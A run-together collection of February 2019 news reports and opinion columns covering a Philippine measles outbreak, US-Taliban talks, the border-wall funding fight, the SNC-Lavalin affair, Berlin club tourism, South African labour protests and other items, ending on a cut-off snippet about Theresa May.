Last Feb. 7, Department of Health Secretary Francisco Duque III declared a measles outbreak in five regions in the country: National Capital Region, Calabarzon (Cavite-Laguna-Batangas-Rizal-Quezon), Central Luzon, Western Visayas, and Central Visayas. Health workers are now scrambling to contain the outbreak that as of Feb. 7 has killed 72 from more than 2,000 cases of measles nationwide. There were 55 deaths last January alone at San Lazaro Hospital, Manila, most of them children aged three months to four years. In Manila, the incidence of measles for the period Jan. 1 to Feb. 6 increased this year by a staggering 550 percent from last year. In the entire country, from 4,000 cases in 2017 there were 21,000 cases in 2018, a 425 percent increase. What caused the meteoric rise in numbers of measles cases this year? According to Duque, it was a decline in vaccination rates partly caused by the anti-Dengvaxia vaccine scare of last year, which undermined public trust in immunization. Vaccine hesitancy has also been noted as the main cause of similar outbreaks in the United States over the past several years, most recently in Portland, Oregon, and in New York. Anti-vaccine advocates or antivaxxers in the U.S. have been vigorously opposing immunization after a fraudulent report by discredited physician Andrew Wakefield 21 years ago falsely claimed a link between the MMR (measles, mumps, and rubella) vaccine and autism. World Health Organization country representative Dr. Gundo Weiler said that for a community to achieve herd immunity, 95 percent of its population must be inoculated against disease. The Philippines, however, has not achieved this because vaccination rates in the Philippines hovered between 70 percent to 80 percent and dropped close to 60 percent in 2018. Measles is a deadly disease, but the vaccine can protect against it. Maggie Fox, writing for NBC News.com, said,People who are fully vaccinated against measles have very little risk of becoming infected. The vaccine provides upwards of 95 percent protection. But measles is one of the most infectious viruses known and will infect 90 percent of unimmunized people who breathe it in.The Palace instructed DOH to take more aggressive action in its fight against the measles scourge. Heres one example of the actions being taken by the DOH to push back, as detailed in a Feb. 8 advisory from DOH-Center for Health Development in Western Visayas. The document lists action points to interrupt [the] transmission of [the] measles virus in the area. The first action point is the enhanced catch-up immunization for defaulters. Health workers are to exert all efforts to conduct selected vaccination of unimmunized children either facility based or door-to-door. Second, the interruption of measles transmission in hospitals and health facilities is to be accomplished by the establishment of a measles fast lane to promptly manage clients with fever and rash. Only those diagnosed with measles are to be confined. There are to be dedicated isolation rooms for measles cases, as well as strict implementation of infection control protocols and the immunization of health workers. The third action point is related to strengthening measles surveillance and advocacy, including the intensification of the advocacy against measles and the provision of proper health information on the benefits and importance of immunization and risk for nonvaccination. The advisory also requires the conduct of region-wide supplemental immunization in the second quarter of this year. I tried to get more information about the DOHs latest actions but their website was down when I visited it on February 10. They should get it back up and running soonest so that the public may be better informed about whats happening and what to do. Whats important to realize is that the measles outbreak could have been avoided if those children had been immunized. Those responsible for the Dengvaxia scare should not be able to sleep at night if they have consciences. While they did not specifically mention other vaccines, the hype they created around the issue was sufficient to cause many Filipinos to fear vaccines that have been a part of healthcare protocol for children for decades. Children are dying unnecessarily. Those who have voices and platforms can help by spreading the truth about vaccines, that they prevent diseases that can kill. * * * Dont be stupid. Get your children vaccinated! FB and Twitter: @DrJennyOBy Abdul Qadir Sediqi

KABUL (Reuters) - Taliban negotiators will meet their U.S. counterparts on Feb. 18 in Pakistan's capital Islamabad as part of accelerating diplomacy to end more than 17 years of war in Afghanistan, Taliban spokesman Zabihullah Mujahid said on Wednesday.

But a U.S. State Department representative said in a statement that the United States had "not received a formal invitation to any talks."

The talks would come a week ahead of previously scheduled negotiations between the two sides in Qatar on Feb. 25. Mujahid said in a statement that the Qatar talks would still take place as scheduled.

Mujahid said his side would also meet Pakistan's Prime Minister Imran Khan to hold "comprehensive discussions about Pakistan-Afghanistan relations".

While he said the Taliban delegation would meet the U.S. team, he did not specify any meetings with team head, U.S. special peace envoy Zalmay Khalilzad.

Khalilzad is due in Pakistan ahead of the Qatar talks as part of a six-country swing through Europe and the Middle East as he tries to build support for efforts to end America's longest war.

Both the hardline Islamist movement and the United States hailed progress after the end of the last round of negotiations in Qatar last month but Western diplomats familiar with discussions say that many tough hurdles lie ahead.

The U.S. side is expected to push hard for a ceasefire between Taliban insurgents and foreign-backed Afghan forces before any agreement on the withdrawal of U.S.-led foreign troops.

Taliban officials say they want all foreign troops out before a ceasefire, but would still welcome non-military foreign help to re-build the country.

Washington is also seeking more details on fresh assurances from the Taliban that it would not allow Afghanistan to be used by groups such as al-Qaeda and Islamic State to attack the United States and its allies, Western diplomats said.

It is also pushing for the Taliban to talk to the Afghan government, which it has so far shut out of talks, branding it as a puppet of Washington.

U.S. President Donald Trump used his State of the Union address last week to say progress in negotiations with the Taliban would allow a reduction in the approximately 14,000 U.S. troops currently in Afghanistan and a renewed "focus on counter terrorism."

(Additional reporting and writing by Greg Torode; Additional reporting by Jonathan Landay in Washington; Editing by Toby Chopra and Lisa Shumaker)By Idrees Ali BRUSSELS (Reuters) - U.S. allies will use the opportunity of Patrick Shanahan's first NATO ministers meeting this week to see whether the acting defense secretary will be as supportive of the military alliance as his predecessor was, defense officials and experts said. Shanahan, a former Boeing Co executive who has mostly focused on internal issues since he joined the Pentagon in July 2017, took over on Jan. 1 from former secretary Jim Mattis, who quit over policy differences with U.S. President Donald Trump. In his resignation letter, Mattis laid bare what he saw as an irreparable divide between himself and Trump, and implicitly criticized the president for failing to value allies who have fought alongside the United States in several wars. Mattis mentioned NATO twice. Shanahan, who served as Mattis' deputy, is not as well known in foreign policy circles, and allies are keen to see whether he will push back on rhetoric by Trump that has questioned the need for NATO. Until earlier this week, Shanahan had never visited Afghanistan or Iraq, where the United States still has about 19,000 troops. A European NATO diplomat, speaking on condition of anonymity, said the hope was that Shanahan would be someone they could trust and work with. "Mattis was one of the few remaining senior Trump administration officials we could rely on, so there's a great sense of loss," the diplomat said. "Frankly, Shanahan is an unknown to us." While Trump has said Shanahan is doing a good job, there is no certainty that he will be formally nominated for the position, which Trump shuffled Mattis out of just 11 days after he resigned. Shanahan has been serving in an acting capacity since the start of the year. The longest-serving acting defense secretary, William Taft, did the job for 60 days. In a sign of just how precarious his situation is, the chairman of the Senate Armed Services Committee said on Tuesday he did not think Trump would nominate Shanahan. Asked about Senator James Inhofe's comments, Shanahan told reporters in Brussels: "Whether there is acting next to your name or not, it's the same job, I'll do the job the same way. It's a pleasure to serve in this role." Derek Chollet, a former Pentagon official now at the German Marshall Fund think tank, said it was not fair to expect Shanahan to be able to calm nervous allies by himself, especially in an acting capacity. A senior U.S. defense official, speaking on the condition of anonymity, said Shanahan would back NATO during his talks in Brussels. "The overarching message is one of bringing reassurance and confidence to our alliance, that America remains deeply committed to the alliance," the official said. But the official added that Shanahan would push allies on the need for burden sharing and meeting their international commitments, a key demand of Trump's. Allies are likely to seek reassurances on a number of key policy areas, including on the future of NATO in Syria and Afghanistan, and plans to withdraw from the 1987 Intermediate-Range Nuclear Forces (INF) Treaty with Russia. In December, Trump confounded his own national security team and international allies with a surprise decision to withdraw 2,000 U.S. troops from Syria. Shanahan will meet a small group of defense ministers in Munich to go over those plans. On Afghanistan, U.S. officials have held several rounds of talks with the Taliban in Qatar in what is widely seen as the most serious bid yet for peace in Afghanistan, which has been at war since the United States ousted the country's former leaders after the Sept. 11, 2001, attacks. However, the talks have created uncertainty within Europe about what it means for the NATO mission in the country, and individual countries are reconsidering their troop presence. The senior U.S. defense official said Shanahan would also talk to allies about arms control, after the United States earlier this month announced it would withdraw from the INF treaty in six months unless Moscow ends its alleged violations of the landmark pact. The official said the NATO summit would be an opportunity to discuss any potential new arms control architecture and what is needed to protect the NATO alliance. (Reporting by Idrees Ali; additional reporting by Robin Emmott and Mike Stone; Editing by Sonya Hepinstall)(Reuters) - A New York City police detective was shot and killed by "friendly fire" and another officer was shot on Tuesday as they responded to an armed robbery, the city's police chief said.

The detective was identified as Brian Simonsen, 42, a 19-year veteran of the force. He was shot in the chest and declared dead at Jamaica Hospital, Police Commissioner James O'Neill told reporters.

He was the first New York police officer to die in the line of duty since July 2017.

The second detective was shot in one leg and listed as stable, police said.

The suspect, described as a 27-year-old "career criminal," was not identified by police. He was shot multiple times and taken to hospital. An "imitation firearm" was found at the scene, O'Neill said.

"This is an absolute tragedy, the worst outcome any police officer or family of a police officer could ever imagine," O'Neill said. "Friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead."

The detectives were responding to a call about a robbery at a cellphone store in Queens, O'Neill said. Officers responded and fired multiple rounds, during which Simonsen was hit, he said.

(Reporting by Dan Whitcomb; additional reporting by Andrew Hay; Editing by Sonya Hepinstall and Clarence Fernandez)WASHINGTON (Reuters) - U.S. President Donald Trump said on Wednesday he will look for "land mines" in a government funding bill, though he also said he does not want to close the government for the second time this winter. Trump told reporters before a meeting with Colombian President Ivan Duque that he would decide whether to sign the government funding legislation when he sees it. "We haven't gotten it (the legislation) yet. We'll be getting it. We'll be looking for land mines," Trump said. "I don't want to see a shutdown. A shutdown would be a terrible thing. I think a point was made with the last shutdown. People realized how bad the border is, how unsafe the border is, and I think a lot of good points were made," he added. Trump said earlier this week he was unhappy with lawmakers' compromise deal, which gives him $1.37 billion for fencing along the southern border with Mexico, rather than the $5.7 billion he is seeking to build his promised border wall. But a source familiar with the situation said on Wednesday that the president would likely back the bipartisan legislation. For 35 days in December and January, the federal government was hit by a partial shutdown that was the longest in U.S. history. Some members of Trump's right-wing base have criticized him for opening the government without receiving funding for the border wall. (Reporting by Roberta Rampton; writing by Makini Brice; editing by Jonathan Oatis)By Richard Cowan and Steve Holland

WASHINGTON (Reuters) - U.S. President Donald Trump on Wednesday edged toward backing a deal in Congress on government funding that would not meet his demand for $5.7 billion for a wall on the Mexican border but would avert a partial government shutdown.

Trump, widely blamed for a five-week shutdown that ended in January, said he did not want to see federal agencies close again because of fighting over funds for the wall, one of his signature campaign promises in the 2016 election.

The Republican president did not commit himself to backing the government funding agreement struck between Democratic and Republican lawmakers this week. But two sources and a Republican senator close to the White House said he would likely sign off on it.

"I don't want to see a shutdown. A shutdown would be a terrible thing. I think a point was made with the last shutdown," Trump told reporters. "People realized how bad the border is, how unsafe the border is, and I think a lot of good points were made."

Trump said he would hold off on a decision until he sees actual legislation about the issue. Republican Senator Lindsey Graham said Trump was "inclined to take the deal and move on."

Graham told reporters that Trump would then look elsewhere to find more money to build a wall along the U.S. southern border and was "very inclined" to declare a national emergency to secure the funds.

With a Friday night deadline looming before a shutdown, there is little time for the White House and the political parties in Congress to agree on funding.

Funding is due to expire for the Department of Homeland Security, the Justice Department and several other federal agencies.

LESS MONEY

The congressional agreement reached on Monday falls far short of giving Trump all the money he wants to help build the wall. Instead, congressional sources say, it includes $1.37 billion for new barriers - about the same as last year - along 55 miles (90 km) of the border.

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Details of the legislation were still being written, but the full bill could be made public as early as Wednesday evening, according to lawmakers and congressional aides.

The accord must be passed by the House of Representatives, dominated by Democrats, and the Republican-controlled Senate, then signed by Trump by midnight on Friday to prevent a shutdown.

The measure's fate in the House was far from certain given the risk that some conservatives and liberals will oppose the compromise for different reasons.

Like Trump, congressional Republicans have little appetite for a repeat of the 35-day partial shutdown in December and January - the longest in U.S. history - which closed about a quarter of federal agencies and left some 800,000 federal workers without pay.

"Its time to get this done, Senate Majority Leader Mitch McConnell said on the Senate floor on Wednesday, in reference to voting on the compromise.

Democrats in the House are aiming to schedule a vote on Thursday evening, Majority Leader Steny Hoyer, a Democrat, told reporters. If passed, it would then go to the Senate.

OTHER OPTIONS

A White House spokeswoman, Mercedes Schlapp, told CNN that lawyers were reviewing the administration's options should Congress not provide Trump's demanded money for the wall.

The Washington Post, citing a White House official, said Trump was likely to explore using his executive power to reallocate other federal funds for barrier projects along the southern border. CNN, citing the White House, also said Trump was weighing the use of an executive order, among other options.

Trump previously threatened to declare a "national emergency" if Congress did not provide money specifically for the wall - a move that would almost certainly draw opposition in Congress and in the courts.

"We think the president would be on very weak legal ground to proceed," said Hoyer, the No. 2 Democrat in the House.

Speaking to sheriffs and police chiefs of major cities, Trump said later on Wednesday that he was determined to fully and completely secure the U.S. border, including providing more law enforcement, closing legal loopholes and finishing the border wall.

Trump has come in for criticism from the right for wavering on support for the wall, which the administration says will cut illegal immigration and drug smuggling.

"Trump talks a good game on the border wall, but it's increasingly clear he's afraid to fight for it," right-wing commentator Ann Coulter tweeted on Tuesday.

Trump abandoned a planned compromise on funding for the wall in December after similar criticism.

(Reporting by Richard Cowan and Susan Cornwell; Additional reporting by Roberta Rampton, Amanda Becker, Susan Heavey and Lisa Lambert; Writing by Alistair Bell; Editing by Jonathan Oatis and Peter Cooney)ABU DHABI, United Arab Emirates (AP)  The man who led President Donald Trump's inaugural committee has said America is in no moral position to criticize Saudi Arabia over the killing of Saudi columnist Jamal Khashoggi.

"Whatever happened in Saudi Arabia, the atrocities in America are equal, or worse," Tom Barrack said Tuesday at the Milken Institute MENA Summit in Abu Dhabi, United Arab Emirates. His remarks were reported by Dubai's daily English newspaper, Gulf News. The report said Barrack strongly defended Saudi Arabia, saying the kingdom is misunderstood by the West.

Following a barrage of criticism on social media, Barrack apologized Wednesday, saying in a statement to The Associated Press that he should have made clear that Khashoggi's killing was "atrocious" and "reprehensible."

"I feel strongly that the bad acts of a few should not be interpreted as the failure of an entire sovereign kingdom," Barrack said. "I have always believed and continue to believe that the United States is the greatest country in the world but our history and our policies in the Middle East have been confusing at times. I believe that as a nation we do constantly work to lead by example, and I believe that we still do."

Despite international outrage, Trump decided not to impose harsher penalties on Saudi Crown Prince Mohammed bin Salman over the October death and dismemberment of the Washington Post columnist inside the Saudi Consulate in Istanbul, Turkey. The columnist, who lived in Virginia, had written articles critical of the kingdom, but Saudi Arabia insists the crown prince did not order the killing.

Critics in Congress and high-ranking officials in other countries accused Trump of ignoring human rights and giving Saudi Arabia a pass for economic reasons, including its influence on the world oil market. Barrack, a real estate developer and private equity investor, expressed support for the crown prince, who is pursing reforms in the kingdom. He said Western countries don't understand the internal dynamics of Saudi Arabia.

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"The West is confused, it doesn't understand the rule of law in the kingdom, it doesn't understand what succession in the kingdom is, it doesn't understand how there can be a dilemma with a population that has 60 percent of people under the age of 20," Barrack said, according to Gulf News.

Trump also has disparaged the United States rather than condemn a foreign leader he admires. During the election campaign, Trump was questioned about his support for Russian President Vladimir Putin, who the interviewer noted "kills journalists that don't agree with him."

Trump responded: "Well, I think that our country does plenty of killing, too."By Susan Cornwell, Richard Cowan and Ginger Gibson WASHINGTON (Reuters) - President Donald Trump said on Tuesday he was unhappy with a deal struck by congressional negotiators on border security that denied him funds for his promised U.S.-Mexican border wall, but did not reject it outright as fellow Republicans urged his support. Trump's demand in December for $5.7 billion from Congress to help build a wall on the southern border triggered a 35-day closure of about a quarter of the federal government. But he remains undecided about whether he will support the agreement reached on Monday night that includes $1.37 billion for border fencing. Nevertheless, Trump said he did not expect another shutdown, while continuing to insist he could find a way to bypass Congress and build a wall without lawmakers. Trump posted on Twitter that he had been briefed by Republican Senator Richard Shelby and was reviewing the measure. The Republican president repeated his insistence that if Congress did not provide the funding, he would press forward with building a wall, writing: "Regardless of Wall money, it is being built as we speak!" White House aides are considering having Trump sign the compromise deal but also try to move money that has already been allocated for other programs to instead build the wall, one official said. Trump may need approval from Democrats in the House to be able to do so. Funding for the Department of Homeland Security, the Justice Department and a host of other agencies is due to end on Saturday after the expiration of a stopgap measure that ended the longest federal shutdown in U.S. history. Monday's tentative funding agreement would keep the government open until Sept. 30, the end of the federal fiscal year. "I have to study it. I'm not happy about it," Trump told reporters at the White House about the deal, which would need to be passed by the Democratic-led House of Representatives and Republican-controlled Senate and signed by him. The House could vote late on Wednesday at the earliest, according to a senior aide. Congress must pass the measure by Friday's midnight deadline. Congressional Republicans have shown little appetite for another shutdown after taking heavy criticism over the prior one. "I hope he'll decide to sign it," Senate Majority Leader Mitch McConnell told reporters. House Republican leader Kevin McCarthy also touted the deal. But the most conservative members of the House are unhappy with the deal, a sign it could face trouble if some liberal Democrats also defect over border fencing funding and concerns about the number of beds in immigrant detention facilities. "Most conservative members are having real heartburn today," Republican Representative Mark Meadows said on Fox News. "I can tell you it's the Democrats that are walking around here on Capitol Hill with a smile on their face today, not Republicans." 'WE'RE BUILDING THE WALL' Congressional sources said the agreement includes $1.37 billion for new fencing - about the same as last year - along 55 miles (90 km) of the border but only with currently used designs such as "steel bollard" fencing. It also addresses capacity at immigration detention facilities, specifically the number of beds for people awaiting possible deportation. Trump previously threatened to declare a "national emergency" if Congress did not provide money specifically for the wall, an action under which he might redirect other funds already provided by Congress to pay for wall construction. Fellow Republicans have told Trump such a step would almost certainly draw opposition, both in Congress and in the courts. On Tuesday, Trump signaled possible unilateral action. "The bottom is on the wall: We're building the wall," Trump said, adding: "We're supplementing things, and moving things around, and we're doing things that are fantastic and taking, really, from far-less-important areas." Republican James Inhofe, who heads the Senate Armed Services Committee, told reporters that he urged Trump weeks ago not to raid Pentagon accounts to build a wall. Inhofe indicated Trump could try to use Army Corps of Engineers funds. Trump made the wall a central 2016 campaign promise, calling it necessary to combat illegal immigration and drug trafficking. He said Mexico would pay for it, but Mexican officials rejected that. Democrats have called a wall expensive, ineffective and immoral. McConnell, who had counseled Trump against the previous shutdown, said Democrats had abandoned "unreasonable" demands. McCarthy told CNBC that Democrats had caved by allowing the new border fencing. The border barrier funding was far short, however, of the $5.7 billion in wall money Trump wanted and was less than Trump could have had in compromise legislation passed in December by the Senate. Senior Democrats threw their weight behind the deal and said both sides gave ground. Top Senate Democrat Chuck Schumer said: "I strongly urge the president to sign this." Trump retreated last month when he agreed to end the shutdown without getting wall money. The shutdown roiled financial markets and left hundreds of thousands of federal workers and contractors without pay. Democrats oppose the wall, but support border security efforts. The number of beds in detention facilities was a contentious part of the negotiations because it can either constrain or expand the administration's ability to aggressively deport more immigrants, including those seeking asylum. Congressional aides on Tuesday gave differing accounts on the number of beds the deal permitted, with some saying it would drop to 40,520 by later this year and others saying it could rise to 58,500. Democrats had sought to limit the number. (Reporting by Richard Cowan and Susan Cornwell and Ginger Gibson; Additional reporting by Doina Chiacu and Steve Holland in Washington and Roberta Rampton in El Paso, Texas; writing by Will Dunham; Editing by Jonathan Oatis, Peter Cooney and Lisa Shumaker)Donald Trumps former lawyer has predicted the American public wont see a report  or possibly anything at all  produced from special counsel Robert Muellers investigation into Russian interference in the 2016 presidential election.

John Dowd, who previously worked for the presidents legal team focusing on the Russia investigation before departing last year, called the probe a terrible waste of time in an interview with ABC News.

I dont think there will be a report, the attorney said. The rules of the department say no report.

He added, I wont be shocked if anything regarding the president is made public other than, were done.

The comments arrived as Democrats reportedly prepared for a showdown to occur between the US House of Representatives and Mr Trumps Justice Department over obtaining access to the final Russia report.

Mr Dowd claimed to know exactly what Mr Mueller has in terms of evidence, saying on Tuesday, I know what the conclusion of the result is.

Theres no basis, he continued, referring to the investigation writ-large. Theres no exposure. Its been a terrible waste of time.

Jerrold Nadler, the Democratic chairman of the House Judiciary Committee, announced on Tuesday the hiring of two distinguished attorneys  Norman Eisen and Barry Berke  as special oversight staff to spearhead a review of the special counsels findings when they become available.

In a statement, Mr Nadler vowed the Democratic-controlled Judiciary Committee would ask critical questions, gather all the information, judiciously assess the evidence, and make sure that the facts are not hidden from the American people.

Mr Trumps conduct and crude statements threaten the basic legal, ethical and constitutional norms that maintain our democratic institutions, the statement continued. Congress has a constitutional duty to be a check and balance against abuses of power when necessary.

Additional reporting by APJust like all midterm elections, the coming May elections should be treated as a referendum on whether the people approve of the performance and policies of the present administration and whether they want the same policies to continue in the next three years. With the death of the two-party system and the emergence of patronage-based political coalitions since the supposed re-birth of democracy in the country in 1986, the once-every-three-years elections have become a political circus rather than a political exercise. Unlike when the Nacionalista Party and the Liberal Party fought hard to gain control of Malacanang or Congress, elections are now being contested by fleeting coalitions, ones that are based more on patronage and personality, rather than on platforms. So dont expect a full slate of the dominant parties, such as LP, NP or PDP-Laban. Instead, youll see coalitions, whose names sound more like showbiz slogans rather than political parties. For example, there is the Otso Deretso, whose Senate line-up includes four LP members and four other oppositionists; the Hugpong ng Pagbabago, a coalition led by presidential daughter and Davao City Mayor Sara Duterte which is endorsing 13 senatorial candidates (one more than the 12 slots being contested) mostly pro-Duterte and pro-Arroyo politicians; Tapang at Malasakit Alliance, also composed mostly of pro-Duterte politicians from the PDP-Laban and Nacionalista Party; Partido Federal ng Pilipinas, composed of unknown politicians supporting Duterte, Arroyo and their proposal to shift to a federal system; and Cojuangco-led Nationalist Peoples Coalition, also composed of pro-Duterte politicians. Based on the composition of the above coalitions, there are eight opposition senatorial candidates and the rest of the 76 official candidates are mostly supporters of President Duterte, potentially ensuring that Congress will continue to be controlled by Duterte and his new partner, former President and now House Speaker Gloria Macapagal Arroyo. Thus, unless the Filipino voters fully support the eight Otso Deretso candidates and four of the more independent bets, we can almost be certain that the balance of power will be heavily tilted in favor of the Executive Branch, which will the have full control of the Senate, the House of Representatives and consequently, the Supreme Court. The coming May political exercise, just like all midterm elections, should thus be treated by Filipinos as a referendum both on Duterte and democracy. Should we let President Duterte continue to with his affront on human rights and the rule of law, and lead with iron fists, unchecked by both Congress and the Judiciary? Should we vote for senatorial and congressional candidates who turn a blind eye on Dutertes strongman tactics? Or should we vote to start realigning our ship back to the democratic path? The just concluded midterm elections in the United States have proven that democracy is well and alive in the country. With the Democrats having wrested control of the House of Representatives with plenty of room to spare, the tantrums of President Donald Trump have been put under check as in the case of the battle over the border wall, in which the Donald would have built that stupid wall if not checked by the Speaker Nancy Pelosi-led and Democrat-controlled House. The American people, through the ballots, made it known that theyve had enough of Trumps capricious and whimsical leadership. Thus, the constitutionally mandated check and balance among the three branches of governmentthe Executive, the Legislative and the Judiciaryremains in force. For three years since the former Davao mayor was elected president in 2016, with an overwhelming lead over LP bet Manuel Roxas, but a minority president nevertheless, having won only 39 percent of the total number of votes, Duterte has had absolute control over the House of Representatives.The usual political butterflies quickly joined forces with the winning presidential candidate even before they could all be sworn in as congressmen, ensuring Duterte complete control of the House of Representatives. For three years, they have toed the line, either afraid of suffering the same fate as opposition Sen. Leila de Lima, losing out in the distribution of the spoils, or losing crucial Malacanang support in these coming elections, or all of the above. But the Senate, which is the upper and far more superior chamber, has remained somehow independent and has been doing its best to keep Duterte under check. Senators like Ping Lacson, Antonio Trillanes, Franklin Drilon, Grace Poe, Risa Hontiveros, Francis Pangilinan, Sonny Angara, Bam Aquino and even PDP-Labans Koko Pimentel, independent Francis Escudero and NPs Francis Eescudero, have stood many times to criticize Dutertes policies and reckless remarks, and to keep Dutertes dictatorial tendencies in check. Political pundits have given up on the House of Representatives, especially now that its led by Arroyo. But hopes remain high for the Senate. And it is the race for the 12 senatorshalf of the Senate composition that will be the most crucial if democracy were to remain alive and well in the country that once boasted as the only democracy in Asia. A Duterte-controlled Senate could mean the entire Congress would just be a rubber stamp of a Chief Executive that once threatened to declare a revolutionary government and who has shown little respect for the rule of law or for democracy. He could ram down unreasonable legislations like lowering the age of criminal liability to nine years as he had originally proposed; force the shift to federal system through a constituent assembly; and force other unpopular or unreasonable measures without the necessary debates. He can do as he pleases without fear of congressional oversight or impeachment. He can name anybody to the Supreme Court who is willing to do his bidding and clamp down on dissent with even more force. Should we vote to keep Duterte on check or should we just let democracy die an ignoble death? You decide. [email protected] Val Abelgas is a former managing editor of Manila Standard.Ottawa (AFP) - A Canadian minister's sudden resignation on Tuesday turned vague allegations of interference in the criminal prosecution of an engineering giant into a deepening political crisis for Prime Minister Justin Trudeau's Liberals.

Jody Wilson-Raybould's resignation followed a chorus of demands for the government to come clean about whether Trudeau's office had pressured her to intervene in the prosecution of SNC-Lavalin.

The Montreal-based firm was charged in 2015 with corruption for allegedly bribing officials in Libya between 2001 and 2011 to secure government contracts during former strongman Moamer Kadhafi's reign.

Jody Wilson-Raybould, who was Canada's first indigenous attorney general and justice minister prior to being shuffled to another post last month, announced on Twitter that "with a heavy heart" she was leaving the cabinet.

Trudeau said he was "surprised and disappointed."

"Our government did its job properly and according to all the rules," he said, while upbraiding his former attorney general, if she felt otherwise, for not bringing her concerns to him directly.

SNC-Lavalin lobbied the government, including senior officials in Trudeau's office, for an out-of-court settlement that would include paying a fine and agreeing to put in place compliance measures.

A possible guilty verdict at trial, they argued, risked crippling its business and putting thousands out of work.

But according to unnamed sources cited by the Globe and Mail, Wilson-Raybould refused to ask prosecutors to settle with the company, and the trial is set to proceed.

Trudeau has denied the allegations, saying: "At no time did I or my office direct the current or previous attorney general to make any particular decision in this matter."

Opposition parties, however, pressed for clarity.

And on Monday the independent ethics commissioner launched an investigation -- the second into a prime minister first elected in 2015 on a promise to clean up corruption, and with only eight months before the next ballot.

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- 'Trying to hide the truth' -

While the controversy snowballed, Wilson-Raybould declined to speak, citing solicitor-client privilege and cabinet confidentiality.

"I am aware that many Canadians wish for me (to) speak on matters that have been in the media over the last week," she said in a statement.

"I am in the process of obtaining advice on the topics that I am legally permitted to discuss in this matter," she said, adding that she retained a retired Supreme Court justice as legal counsel.

Conservative leader Andrew Scheer reacted to her resignation by saying Trudeau's "ethical lapses and his disastrous handling of this latest scandal have thrown his government into chaos."

He also accused the prime minister of "trying to hide the truth with regards to the SNC-Lavalin affair."

The Canadian charges against SNC-Lavalin were just the latest blow to one of the world's largest construction and engineering firms, after its former president and senior executives were accused of fraud, and the World Bank banned it from bidding on projects until 2023 due to "misconduct" in Bangladesh and Cambodia.

The company, its international arm and another subsidiary are accused of having offered Can$47 million (US$36 million) in bribes to officials and of defrauding the Libyan government of Can$130 million (US$98 million).

It oversaw billions of dollars in projects in Libya, including construction of a prison outside Tripoli and an airport in Benghazi.

The charges relate to the world's largest irrigation project -- the Great Man Made River Project -- to provide fresh water to the cities of Tripoli, Benghazi and Sirte.

The firm employs 50,000 people worldwide, and if found guilty in Canada it would be prohibited from bidding on Canadian government projects -- its lifeblood.

It has argued that those responsible for alleged wrongdoing left the company long ago, and that holding it accountable for their criminal actions would severely hurt its business.A young woman dancing at an open air nightclub in Berlin. Photo: Hinterhaus Productions/Getty

Berlin is synonymous with partying, and for many techno-lovers, a weekend in Berghain, often voted one of the best clubs in the world, is akin to a pilgrimage.

Some three million tourists came to the city in 2018 purely with the aim of enjoying its clubs and nightlife, according to a new report by the Berlin Clubcommission, an association that campaigns for the interests of members of the Berlin club and party scene.

Its calculations were based on tourist board figures that show one third of all visitors to the city fall into the club tourist category, and that they spent an average of 205 (179) per day, and stay an average of 2.4 days each.

While the clubbing industry made roughly 216m turnover in the year, club tourists of course spend money outside of the clubs. The study says that their spending on hotels, taxis, food and so on during their clubbing trips amounts to an annual 1.48bn for the citys businesses. Clubs and party organizers also directly employed some 9,000 people in 2018.

Lutz Leichsenring, spokesman and executive board member for the Berlin Clubcommission told Yahoo Finance UK that the number of club tourists is on the rise. Whats interesting is that the number of clubs has stayed relatively constant in the last years, Leichsenring said. We had a time there where some clubs had to close, but we have managed since then to keep the numbers quite steady.

Berlins clubs, however, are menaced by the same rapidly rising property and rent prices as the citys inhabitants, with gentrification showing no sign of abating. A 2018 report from Knight Frank found that Berlin property prices rose by almost 21% in 2017, compared to a global average of 4.5%. In February last year, the German central bank said rental costs on new leases in Berlin soared by over 9% in 2017.

Gentrification an issue, as it is pushing up rent prices, and one club in Berlin, Watergate, had its rent doubled a few months ago, when its rental contract expired, said Leichsenring, adding that rising rent prices means many clubs no longer can afford to invest in getting artists.

In our opinion, thats the wrong path, he added. If we want the scene to stay diverse and colorful, then we have to think about how these inner city locations can stay affordablebecause these are not businesses that just play chart music like everywhere in the world, these are places that cater to distinct niches  that are part of a distinct community, like the gay community, or of distinct ethnic groups.

The study showed that club culture has a social, as well as a cultural and economic effect on the community its all interlinked.Johannesburg (AFP) - Thousands of South African workers staged nationwide demonstrations on Wednesday to protest against high unemployment and government policies they say have failed to create jobs and are deepening poverty.

Workers dressed in red t-shirts, showing their loyalty to the trade union movement, gathered in the eastern port city of Durban, Johannesburg and other locations for open-air rallies three months ahead of the country's general election.

Companies in South Africa, notably in the mining sector, have shed tens of thousands of jobs in recent years in what unions have termed a "jobs bloodbath" as the economy of Africa's most industrialised nation struggles for growth.

South Africa has a near-record 27 percent unemployment rate, and trade unions say that 9.3 million employable people need jobs.

Zingiswa Losi, president of the Congress of South African Trade Unions (COSATU), led the march in Durban, which was attended by about 6,000 people.

"Today's march is a national strike and we are marching to (say to the) government and the private sector, we cannot afford to lose jobs in this country," Losi told reporters.

About 2,000 people attended the Johannesburg rally.

Singing anti-apartheid songs such as "Senzeni na" ("What have we done?"), workers marched through the city centre dancing and "toyi-toying", a protest move synonymous with the struggle against apartheid.

Carrying banners that read "we demand decent jobs", "no to job losses" and "no to outsourcing and privatisation", marchers were undeterred by drizzling rain.

"Today black children are educated but there is no work," union member and domestic worker Gloria Sithole, 58, told AFP.

- Power cuts -

Marcher Ben Venter, deputy general secretary of the South African Society of Bank Officials, told AFP that President Cyril Ramaphosa needed to act on initiatives that would set employment on "an upward trend".

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"The South African economy can't afford job losses," Venter said.

Official statistics released on Tuesday showed that the unemployment rate dropped marginally to 27.1 percent in the last quarter of 2018 from 27.5 percent in the previous quarter.

The drop was largely due to casual workers being hired over Christmas holiday period.

South Africa's economy grew less than one percent last year and is currently subjected to its worst electricity cuts in years.

Also among the union's demands was an end to state corruption and mismanagement.

The continent's largest energy utility Eskom, plagued by debt and mismanagement, plunged the country into darkness this week with periodic black-outs imposed as demand outstripped supply.

The ailing state-owned company is grappling with 419 billion rand ($30 billion) of debt.

Ramaphosa announced last week that the utility would be divided into three divisions, but unions have rejected the move, saying it would lead to further job cuts.

COSATU, which represents about 1.9 million members, called for a halt to any plans of privatising Eskom.

It has been a key ally of the ruling ANC party, which is seeking to revive its flagging popularity ahead of elections on May 8, when Ramaphosa is expected to retain power.

The trade union's leadership continued to throw its weight behind the ANC.

"We are in no way abandoning our ally," COSATU official Amos Monyela told AFP.

"We will mobilise our members to vote for the African National Congress but we will always challenge policy uncertainty that affects workers."Theresa May has revealed that she scraped the mould off jam and eats what is left underneath (Picture: Getty)

Theresa May has revealed her secret to reducing her own food waste when it comes to jam  scraping the mould off the top.

